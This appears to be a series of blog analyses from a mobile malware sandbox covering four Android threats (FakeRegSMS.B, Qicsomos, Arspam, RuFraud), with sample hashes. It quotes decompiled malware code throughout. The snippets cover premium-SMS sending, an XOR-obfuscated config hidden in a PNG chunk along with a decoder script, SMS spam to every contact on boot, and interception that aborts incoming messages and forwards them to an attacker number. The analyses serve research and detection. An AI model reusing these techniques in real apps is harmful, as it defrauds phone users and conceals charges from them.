Detailed Analysis of Android.FakeRegSMS.B

Intro: What is Android.FakeRegSMS.B?

This new malware-family emerged some weeks ago in an unofficial Android-Market. It sends SMS messages to premium rated numbers and tries to hide this action from the malware investigators by using some kind of steganography.

After investigating the app, we would declare this app more as FRAUD than as real MALWARE, because the user gets a “Rules” button where he/she can see that the service will send a SMS message to a premium service.

Analysis of the Application and Its Structure

The app requests the following permission:

  • android.permission.SEND_SMS

After the application has been installed successfully, the icon of the app shows up in the dashboard. (The icon was pixelated due to its content)


The interesting part of the application: Steganography!

The first hint that this app is doing something “strange” appears when you look at the following lines:

byte[] arrayOfByte2 = localByteArrayOutputStream1.toByteArray();
int k = paramInt + (-4 + new String(arrayOfByte2).indexOf("tEXt"));
if (k < 0)
   throw new IOException("Chank tEXt not found in png");

Here it seems, that the app is searching for a special string inside a png-picture-file. After searching in the MainActivity we could extract the filename of this png-picture and the responsible lines of code:

invoke-virtual {p0}, Landroid/app/Activity;->getAssets()Landroid/content/res/AssetManager;
move-result-object v0
const-string v2, "icon.png"
invoke-virtual {v0, v2}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
move-result-object v1
iget-object v0, p0, Lcom/termate/MainActivity;->d:Lcom/termate/a;

The picture that the app tries to load into a byte array, is the application's icon which can be found in different resolutions in the directories listed afterwards:

  • /res/drawable-hdpi/icon.png
  • /res/drawable-mdpi/icon.png
  • /res/drawable-ldpi/icon.png

When looking at these files with a hex editor we can locate the "tEXt" chunk very quickly. This chunk of data is identical within all of these three png-files. The binary data can be seen in the next picture:

Normally, this chunk is only allowed to contain printable Latin-1 characters and spaces. In our case there is binary data which looks very suspicious under this circumstances. When looking again in the code of the class-file we can find the following code snippet:

ByteArrayOutputStream localByteArrayOutputStream2 = new ByteArrayOutputStream();
for (int i1 = i; ; i1++)
   {
      int i2 = (byte)localDataInputStream1.read();
      if (i2 == -1)
         break;
      localByteArrayOutputStream2.write(i2 ^ "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43".charAt(i1 % "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43".length()));
   }

These code snippet shows that the app is reading every single byte of the tEXt chunk and is doing a XOR operation with a hardcoded key: f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43

To get the unobfuscated values of the tEXt chunk we are using the python script below.

#!/usr/bin/python
key = "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43"
length = len(key)
obfuscatedData = "\x66\x5E\x2B\x7E\x45\x5E\x56\x48\x05\x10\x70\x07\x09\x32\x25\x75\x12\x75\x62\x41\xD2\x20\x60\x68\x31\x05\x56\x19\x13\x51\x40\x12\x0E\x4C\x24\x20\x11\x72\x38\x5E\x07\x27\x79\x12\x00\x19\x03\x1B\x40\x6E\x2F\x33\x35\x53\x54\x34\x4C\x44\x5A\x22\x2B\x53\x12\x24\x51\x1A\x5A\x1C\x66\x37\x02\x53\x70\x23\x2B\x42\x4F\x01\x40\x7F\x0F\x32\x42\x03\x21\x09\x14\x01\x5B\x44\x40\x36\x09\x04\x15\x70\x13\x44\x5B\x32\x29\x53\x22\x0D\x54\x16\x4A\x68\x64\x05\x06\x66\x47\x50\x49\x52\x64\x13\x40\x52\x66\x7E\x47\x42\x49\x5B\x54\x5E\x04\x10\x78\x0B\x04\x04\x18\x77\x12\x76\x65\x72\x7C\x17\x52\x59\x0E\x4E\x07\x5F\x53\x06\x05\x51\x76\x13\x48\x15\x70\x8F\x09"
unObfuscatedData = ""
for x, y in enumerate(obfuscatedData):
    keyIndex = x % length
    unObfuscatedData = unObfuscatedData + chr(ord(y) ^ ord(key[keyIndex]))
print "unobfuscated data: " + unObfuscatedData

After running this small python script we receive the following output:

420 100485111? requestNo1 maxRequestNoauto costLimit150 costLimitPeriod8640 smsDelay15 smsData!l5872600885697126387416947526760l4P?=

With this unobfuscated strings, the following few lines of code of the class-file make some more sense:

if (i < i5){
   String str;
   try{
      str = localDataInputStream2.readUTF();
      if (str.equals("costLimit")){
         this.d = Integer.parseInt(localDataInputStream2.readUTF());
         break label519;
      }
      if (str.equals("costLimitPeriod"))
         this.e = Integer.parseInt(localDataInputStream2.readUTF());
      }
   catch (IOException localIOException){
      localIOException.printStackTrace();
      break label519;
      if (str.equals("smsData"))
         this.f = localDataInputStream2.readUTF();
   }
   catch (NumberFormatException localNumberFormatException){
          localNumberFormatException.printStackTrace();
       }
   if (str.equals("smsDelay"))
      this.h = Integer.parseInt(localDataInputStream2.readUTF());
   else
      this.g.put(str, localDataInputStream2.readUTF());
}

With the output of our python script we get some values for the variables used in the code snippet above:

  • costLimit = 150
  • costLimitPeriod = 8640
  • smsData = l5872600885697126387416947526760l
  • smsDelay = 15

Looking again in our class-file we can extract this code snippet indicating that the application is trying to send a SMS message:

private static boolean a(String paramString1, String paramString2){
   try{
      SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, null, null);
      return true;
   }
   catch (Exception localException){
      while (true)
         Log.e("Logic", "Error sending sms", localException);
   }
}

After we found all these data, we were running the app in the Android emulator to proof our assumptions. When pushing the "Next" button in the main UI (see the picture in the middle of the first figure) the emulator logs an outgoing SMS message:

Decoding the PDU message in this figure we get the following information which is in conformity with our data we encoded from the tEXt chunk of the png-picture:

  • Receipient: 5111
  • Message: 420 10048 l5872600885697126387416947526760l0100

After some investigation, we think that the phone numer 5111 belongs to a service called smscoin, allowing users to donate money to another user via SMS messages. Looking at the "Rules" of the app, the amount of money the user donates to the app author (erohit.biz) is between 15 and 400 Russian ruble.

Sample Information:

sha256:
8a8a246eea40e49b1aaad23fd867b8a9faeb936fe020ba5ce43b4547331a63ea

md5:
41ca3efde1fb6228a3ea13db67bd0722

Mobile-Sandbox Report

New Mobile-Sandbox-System

Over the last few weeks we did a lot of research and development in the filed of mobile malware analysis. As a result, the new and improved Mobile-Sandbox is now online. Over the next few weeks, we are trying to implement some more features, so stay tuned!

–> Mobile-Sandbox.com

Detailed Analysis of Android.Qicsomos

Intro: What is Android.Qicsomos?

Android.Qicsomos is a new Android malware that emerged some days ago. It sends SMS messages to premium rated numbers.

Analysis of the Application and Its Structure

The app requests the following permissions:

  • android.permission.READ_LOGS
  • android.permission.SEND_SMS

After the application has been installed successfully, the icon of the app shows up in the dashboard. The name of the application and the UI look like an app for detecting CarrierIQ.

The Malicious Parts:

The malicious part of the app starts, when an user hits the “Déinstaller” button. The app sends four SMS messages to “81168” containing the text “AT37”, “MC49”, “SP99” and “SP93” before it gets deinstalled. (for more information see the following code-snippet)

localSmsManager.sendTextMessage("81168", null, "AT37", null, null);
try{
    label15: localSmsManager.sendTextMessage("81168", null, "MC49", null, null);
    try{
        label26: localSmsManager.sendTextMessage("81168", null, "SP99", null, null);
        try{
            label37: localSmsManager.sendTextMessage("81168", null, "SP93", null, null);
            label48: Intent localIntent = new Intent("android.intent.action.DELETE", Uri.parse("package:org.projectvoodoo.simplecarrieriqdetector"));
...

Sample Information:

sha256:
79a3bc6da45243355a920082dc67da0febf19379c25c721c43fd6b3f83ff4ef4

md5:
69b9691a8274a17cdc22e9681b3e1c74

Mobile-Sandbox Report

Detailed Analysis of Android.Arspam

Intro: What is Android.Arspam?

Android.Arspam is a new Android malware threat that emerged some days ago and uses a trojanised version of a Islamic compass application to distribute political propaganda links. This malware represent the first stage of politically-motivated hacking (hacktivism) on mobile platforms.

Analysis of the Application and Its Structure

The app requests the following permissions:

  • android.permission.INTERNET
  • android.permission.ACCESS_FINE_LOCATION
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.INTERNET
  • android.permission.WRITE_EXTERNAL_STORAGE
  • android.permission.READ_CONTACTS
  • android.permission.CHANGE_WIFI_MULTICAST_STATE
  • android.permission.CLEAR_APP_USER_DATA
  • android.permission.BIND_INPUT_METHOD
  • android.permission.WRITE_CONTACTS
  • android.permission.CLEAR_APP_CACHE
  • android.permission.AUTHENTICATE_ACCOUNTS
  • android.permission.READ_PHONE_STATE
  • android.permission.SET_PREFERRED_APPLICATIONS
  • android.permission.INTERNAL_SYSTEM_WINDOW
  • android.permission.MANAGE_ACCOUNTS
  • android.permission.PERSISTENT_ACTIVITY
  • android.permission.FLASHLIGHT
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.ACCESS_MOCK_LOCATION
  • android.permission.SEND_SMS
  • android.permission.HARDWARE_TEST
  • android.permission.ACCESS_CHECKIN_PROPERTIES
  • android.permission.DISABLE_KEYGUARD
  • android.permission.READ_SYNC_STATS
  • android.permission.READ_INPUT_STATE
  • android.permission.EXPAND_STATUS_BAR
  • android.permission.BLUETOOTH
  • android.permission.BIND_APPWIDGET
  • android.permission.ACCESS_LOCATION_EXTRA_COMMANDS
  • android.permission.BROADCAST_SMS
  • android.permission.DIAGNOSTIC
  • android.permission.BLUETOOTH_ADMIN
  • android.permission.DEVICE_POWER
  • android.permission.CHANGE_CONFIGURATION
  • android.permission.DELETE_PACKAGES
  • android.permission.BROADCAST_WAP_PUSH
  • android.permission.REBOOT
  • android.permission.WRITE_SMS
  • android.permission.ACCESS_WIFI_STATE
  • android.permission.ACCESS_COARSE_LOCATION
  • android.permission.STATUS_BAR
  • android.permission.MOUNT_UNMOUNT_FILESYSTEMS
  • android.permission.GLOBAL_SEARCH
  • android.permission.READ_SMS
  • android.permission.CONTROL_LOCATION_UPDATES
  • android.permission.MANAGE_APP_TOKENS
  • android.permission.DELETE_CACHE_FILES
  • android.permission.BATTERY_STATS
  • android.permission.READ_SYNC_SETTINGS
  • android.permission.SET_TIME_ZONE
  • com.android.browser.permission.READ_HISTORY_BOOKMARKS
  • android.permission.MOUNT_FORMAT_FILESYSTEMS
  • android.permission.SIGNAL_PERSISTENT_PROCESSES
  • android.permission.MASTER_CLEAR
  • android.permission.READ_LOGS
  • android.permission.BRICK
  • android.permission.SET_ACTIVITY_WATCHER
  • android.permission.RECEIVE_SMS
  • android.permission.GET_ACCOUNTS
  • android.permission.CALL_PHONE
  • android.permission.READ_CONTACTS
  • android.permission.RESTART_PACKAGES
  • android.permission.READ_CALENDAR
  • android.permission.RECEIVE_BOOT_COMPLETED
  • android.permission.CAMERA
  • android.permission.ACCESS_FINE_LOCATION
  • android.permission.SUBSCRIBED_FEEDS_READ
  • android.permission.WAKE_LOCK
  • android.permission.RECORD_AUDIO
  • android.permission.INSTALL_PACKAGES
  • android.permission.INJECT_EVENTS
  • android.permission.RECEIVE_WAP_PUSH
  • android.permission.USE_CREDENTIALS
  • android.permission.ACCOUNT_MANAGER
  • android.permission.SET_ALWAYS_FINISH
  • android.permission.RECEIVE_MMS
  • android.permission.WRITE_SECURE_SETTINGS
  • android.permission.MODIFY_AUDIO_SETTINGS
  • android.permission.WRITE_CALENDAR
  • android.permission.WRITE_SYNC_SETTINGS
  • android.permission.INSTALL_LOCATION_PROVIDER
  • android.permission.SYSTEM_ALERT_WINDOW
  • android.permission.MODIFY_PHONE_STATE
  • android.permission.WRITE_SETTINGS
  • android.permission.INTERNET
  • android.permission.ACCESS_SURFACE_FLINGER
  • android.permission.CHANGE_NETWORK_STATE
  • android.permission.CALL_PRIVILEGED
  • android.permission.CHANGE_COMPONENT_ENABLED_STATE
  • android.permission.DUMP
  • android.permission.SET_WALLPAPER
  • android.permission.GET_TASKS
  • android.permission.WRITE_EXTERNAL_STORAGE
  • android.permission.PROCESS_OUTGOING_CALLS
  • android.permission.WRITE_OWNER_DATA
  • android.permission.WRITE_GSERVICES
  • android.permission.SET_WALLPAPER_HINTS
  • android.permission.BROADCAST_STICKY
  • android.permission.READ_FRAME_BUFFER
  • android.permission.GET_PACKAGE_SIZE
  • android.permission.FORCE_BACK
  • android.permission.UPDATE_DEVICE_STATS
  • android.permission.WRITE_APN_SETTINGS
  • android.permission.BROADCAST_PACKAGE_REMOVED
  • android.permission.SET_ANIMATION_SCALE
  • android.permission.SET_ORIENTATION
  • android.permission.SET_DEBUG_APP
  • android.permission.FACTORY_TEST
  • android.permission.REORDER_TASKS
  • android.permission.SET_PROCESS_LIMIT
  • android.permission.READ_OWNER_DATA
  • android.permission.CHANGE_WIFI_STATE
  • android.permission.VIBRATE
  • android.permission.SUBSCRIBED_FEEDS_WRITE
  • android.permission.RECEIVE_BOOT_COMPLETED

When the app has been installed successfully, the icon of the original app shows up in the dashboard. The UI and functionality have also been duplicated from the original app.

The malicious part of this application consists of the following two main classes which will be analyzed in detail afterwards:

  • arRabi
  • alArabiyyah

Analysis of arRabi

This class checks if the boot-process of the smartphone has completed and starts the malicious alArabiyyah service afterwards:

if ("android.intent.action.BOOT_COMPLETED".equals(paramIntent.getAction()){
   paramContext.startService(new Intent(paramContext, alArabiyyah.class));
}

Analysis of alArabiyyah

This application starts a service called alArabiyyah, which sends an SMS to every contact in the address book with a link to one of the following 18 forum sites in the message:

  • http://www.dhofaralaezz.com/vb/showthread.php?t=4453
  • http://www.i7sastok.com/vb/showthread.php?t=6930
  • http://www.dmahgareb.com/vb/showthread.php?p=6606
  • http://mafia.clubme.net/t2139-topic
  • http://www.4pal.net/vb/showthread.php?t=40752
  • http://www.howwari.com/vb/showthread.php?t=28495
  • http://forum.te3p.com/464619.html
  • http://www.htoof.com/vb/t187394.html
  • http://vb.roooo3.com/showthread.php?t=174074
  • http://www.alsa7ab.com/vb/showthread.php?t=4746
  • http://www.riyadhmoon.com/vb/showthread.php?p=4548287
  • http://forum.althuibi.com/showthread.php?p=137646
  • http://www.2wx2.com/vb/showthread.php?p=43548
  • http://www.mdmak.com/vb/showpost.php?p=500795&postcount=1
  • http://www.too-8.com/vb/showthread.php?s=&threadid=7058
  • http://www.3z1z.com/vb/showthread.php?t=2910
  • http://www.w32w.com/vb/showpost.php?p=506831&postcount=1
  • http://forum.65man.com/65man33611.html

Additionally, if the inserted SIM is from Bahrain, the application attempts to download a PDF file of the Bahrain Independent Commission of Inquiry (see the following code-snipet).

if (((TelephonyManager)getSystemService("phone")).getSimCountryIso() == "BH"){
   URL localURL = new URL("http://www.alwasatnews.com/data/2011/3382/BICIreportAR.pdf");
   HttpURLConnection localHttpURLConnection = (HttpURLConnection)localURL.openConnection();
   localHttpURLConnection.setRequestMethod("GET");
   localHttpURLConnection.setDoOutput(true);
   localHttpURLConnection.connect();
   File localFile1 = Environment.getExternalStorageDirectory();
   File localFile2 = new File(localFile1, "BICIreportAR.pdf");
   localFileOutputStream = new FileOutputStream(localFile2);
   localFile2.toString();
   localInputStream = localHttpURLConnection.getInputStream();
   localHttpURLConnection.getContentLength();
   arrayOfByte = new byte[1024];
}

Sample Information:

sha256:
1d22924bbe5dce7696e18d880482b63ce19ca0746f8671aaec865cce143f6e6f

md5:
e7584031896cb9485d487c355ba5e545

Mobile-Sandbox Report

Detailed Analysis of Android.RuFraud

Intro: What is Android.RuFraud?

SuiConFo.apk is an application which sends premium rated SMS messages. This is the first malicious app of this kind which was specially build for European countries (Germany, Luxembourgs, France, Belgium, Switzerland, Spain and Great Britain) and Canada but not for the Chinese market. In the last few days many similar apps showed up in the official Google market which had been summed up under RuFraud.

Analysis of the Application and Its Structure

The app requests the following permissions, although if it is using only very few of them:

  • android.permission.SEND_SMS
  • android.permission.INSTALL_PACKAGES
  • android.permission.USE_CREDENTIALS
  • android.permission.BLUETOOTH_ADMIN
  • android.permission.INTERNET
  • android.permission.DEVICE_POWER
  • android.permission.READ_CONTACTS
  • android.permission.RECEIVE_SMS
  • android.permission.ACCESS_GPS
  • android.permission.ACCESS_LOCATION

It consists of the following two main classes which will be analyzed in detail afterwards:

  • MagicSMSActivity
  • SMSReceiver

When the app has been installed successfully, the standard icon shows up in the dashboard (see left part of the picture). After opening the application, a pop-up message is displayed, including the following text: “ERROR: Android version is not compatible” (see right part of the picture). For the user it seems, that this app isn’t working on his/her smartphone. In reality, the app sends four premium-rated SMS messages in the background.

Analysis of MagicSMSActivity

This class is responsible for sending the paid SMS messages to predefined numbers. As you can see in the following code snippet, the app tries to get the Country-ID from the SIM:

String str1 = ((TelephonyManager)getSystemService("phone")).getSimCountryIso();

Afterwards it checks if this Country-ID is included in its list of services:

if (str1.equals("ch")){
        str2 = "543";
        str3 = "GEHEN SP 300";
        continue;
}
if (str1.equals("lu")){
        str2 = "64747";
        str3 = "ACCESS SP";
        continue;
}
if (str1.equals("de")){
        str2 = "63000";
        str3 = "SP 462";
        continue;
}

Afterwards the malicious application sends four SMS messages to the phone number specified in str2 with the message stored at str3:

localSmsManager.sendTextMessage(str2, null, str3, null, null);
localSmsManager.sendTextMessage(str2, null, str3, null, null);
localSmsManager.sendTextMessage(str2, null, str3, null, null);
localSmsManager.sendTextMessage(str2, null, str3, null, null);

For Germany, these SMS will be sent to the Net Mobile AG which is well known for premium-rated SMS services. The price for one SMS ranges between 0,29€ and 1,99€.

Analysis of SMSReceiver

This class implements an Android.Receiver which is able to receive incoming SMS messages before the build-in SMS application receives them.

In this case the app is checking if the message comes from one of the stored numbers (the list of numbers is identical to the numbers, the app sends messages to). If this is the case, the message gets forwarded to a specified number (0646112264) and the broadcast of this message is aborted so that the build-in application (as well as the user) do not notice this message. This can be seen in the following code snippet:

String str1 = arrayOfSmsMessage[0].getMessageBody();
str2 = arrayOfSmsMessage[0].getDisplayOriginatingAddress();
if ((!str2.equals("81001")) && (!str2.equals("35064")) && (!str2.equals("63000")) && (!str2.equals("9903")) && (!str2.equals("60999")) && (!str2.equals("543")) && (!str2.equals("64747")))
abortBroadcast();
SmsManager.getDefault().sendTextMessage("0646112264", null, str1, null, null);

Sample Information:

sha256:
98a402d885cdb941dca8b45a4bbcbbe7f44ba62910d519bc1c2161dba117ebd2

md5:
1a3fb120e5a4bd51cb999a43e2d06d88

Mobile-Sandbox Report